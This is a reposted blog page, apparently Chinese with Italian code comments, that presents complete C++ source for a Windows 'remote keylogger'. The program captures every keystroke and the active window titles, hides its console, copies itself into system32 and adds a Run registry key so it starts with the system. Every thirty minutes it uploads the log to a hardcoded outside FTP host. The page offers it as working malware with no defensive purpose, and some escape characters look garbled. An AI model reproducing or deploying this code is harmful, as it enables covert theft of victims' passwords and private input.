[C++]Ftp keylogger Code

最新推荐文章于 2025-08-15 18:53:39 发布

转载最新推荐文章于 2025-08-15 18:53:39 发布 · 676 阅读

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#c++ #internet #null #upload #system #winapi

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本文介绍了一个使用C++编写的远程键盘记录器程序。该程序能够记录用户的键盘输入，并定时将记录上传到指定的FTP服务器。此外，程序还能隐藏自身并确保随系统启动自动运行。

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#include <windows.h> #include <wininet.h> #include <iostream> #include <fstream> #include <ctime> #define TARGET "girex.altervista.org" /* Change with your FTP host */ #define USERNAME "girex" /* Change with your FTP username */ #define PASSWORD "1234567890" /* Change with your FTP password */ #define REMOTE_LOG "key_log.txt" /* Change if you want change name of remote log */ using namespace std; char logPath[255] = {0}; int infect_sys(char *prog_name); int write_log(char c); int write_log(char *s, bool timed = false); void open_log(void); void logWindowName(void); bool isShifted(void); DWORD WINAPI ftp_upload(LPVOID lpParam) { HINTERNET hCon, sFtp; while(true) { hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(hCon == NULL) { write_log("/n[!] Errore nello stabilire la connessione: ", true); Sleep(1000 * 60); continue; } sFtp = InternetConnect(hCon, TARGET, INTERNET_DEFAULT_FTP_PORT, USERNAME, PASSWORD, INTERNET_SERVICE_FTP, 0, 0); if(sFtp == NULL) { write_log("/n[!] Errore nello stabilire la sessione FTP: ", true); Sleep(1000 * 60); continue; } if(!FtpPutFile(sFtp, logPath, REMOTE_LOG, INTERNET_FLAG_TRANSFER_BINARY, 0)) { write_log("/n[!] Errore nell'upload del file: ", true); InternetCloseHandle(hCon); InternetCloseHandle(sFtp); Sleep(1000 * 60); continue; } else { DeleteFile(logPath); open_log(); } InternetCloseHandle(hCon); InternetCloseHandle(sFtp); Sleep(1000 * 60 * 30); } } int main(int argc, char *argv[]) { bool shift; char keyName[25]; HANDLE hThread; infect_sys(argv[0]); if(!GetSystemDirectory(logPath, 255)) { write_log("/n[!] Errore nell'ottenere il percorso della cartella system32: ", true); sprintf(logPath, "C://WINDOWS//system32//key_log.txt"); } else strcat(logPath, "//key_log.txt"); open_log(); hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0); if(hThread == NULL) { write_log("/n[!] Errore nella creazione del thread: ", true); } while(true) { for(int i = 8; i <= 256; i++) { if(GetAsyncKeyState(i) & 0x7FFF) { logWindowName(); shift = isShifted(); if(i > 47 && i < 91) { if(shift == false) write_log(tolower(i)); else write_log((char) i); } else { switch(i) { case VK_RETURN: write_log("[ENTER]/n"); break; case VK_SPACE: write_log(" "); break; case VK_BACK: write_log("[DEL]"); break; case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT: case VK_CAPITAL: break; default: GetKeyNameText(MapVirtualKey(i, 0) << 16, keyName, 25); if(strlen(keyName) < 2) write_log(keyName); else { write_log('['); write_log(keyName); write_log(']'); } } } } } Sleep(10); } return 0; } void open_log(void) { DWORD bSize = 255; const char intro[] = "[+] __GiReX__ Remote Keylogger 3/n"; char userName[255], pcName[255]; write_log((char *) intro); GetComputerName(pcName, &bSize); GetUserName(userName, &bSize); write_log("/n[+] Username:/t/t"); write_log(userName); write_log("/n[+] Nome del Computer:/t"); write_log(pcName); write_log("/n"); write_log("[+] Start Time:/t/t", true); } int infect_sys(char *prog_name) { HKEY hKey; HWND hWnd; char destPath[255]; hWnd = FindWindow("ConsoleWindowClass", NULL); ShowWindow(hWnd, SW_HIDE); if(!GetSystemDirectory(destPath, 255)) { write_log("/n[!] Errore nell'ottenere il percorso della cartella system32: ", true); sprintf(destPath, "C://WINDOWS//system32//%s", prog_name); } else { strcat(destPath, "//"); strcat(destPath, prog_name); } if(!CopyFile(prog_name, destPath, 0)) { write_log("/n[!] Errore nel copiare il keylogger nella cartella system32: ", true); return 1; } if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Microsoft//Windows//CurrentVersion//Run", 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) { write_log("/n[!] Errore nella creazione della chiave di registro: ", true); return 1; } if(RegSetValueEx(hKey, "keylog", 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath)) != ERROR_SUCCESS) { write_log("/n[!] Errore nella creazione della chiave di registro: ", true); RegCloseKey(hKey); return 1; } RegCloseKey(hKey); return 0; } int write_log(char c) { ofstream logFile(logPath, ios::out | ios::app); if(!logFile.is_open()) { return 1; } logFile << c; logFile.flush(); logFile.close(); return 0; } int write_log(char *s, bool timed) { time_t cTime; ofstream logFile(logPath, ios::out | ios::app); if(!logFile.is_open()) { return 1; } logFile << s; if(timed == true) { time ( &cTime ); logFile << ctime( &cTime ); } logFile.flush(); logFile.close(); return 0; } void logWindowName(void) { static HWND hWnd = NULL; char wName[255] = {0}; if(hWnd != GetForegroundWindow()) { hWnd = GetForegroundWindow(); if(GetWindowText(hWnd, wName, 255)) { write_log("/n/n[+] Finestra: "); write_log(wName); write_log("/n/n"); } } } bool isShifted(void) { if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000) { if(GetKeyState(VK_CAPITAL)) return false; else return true; } else { if(GetKeyState(VK_CAPITAL)) return true; else return false; } }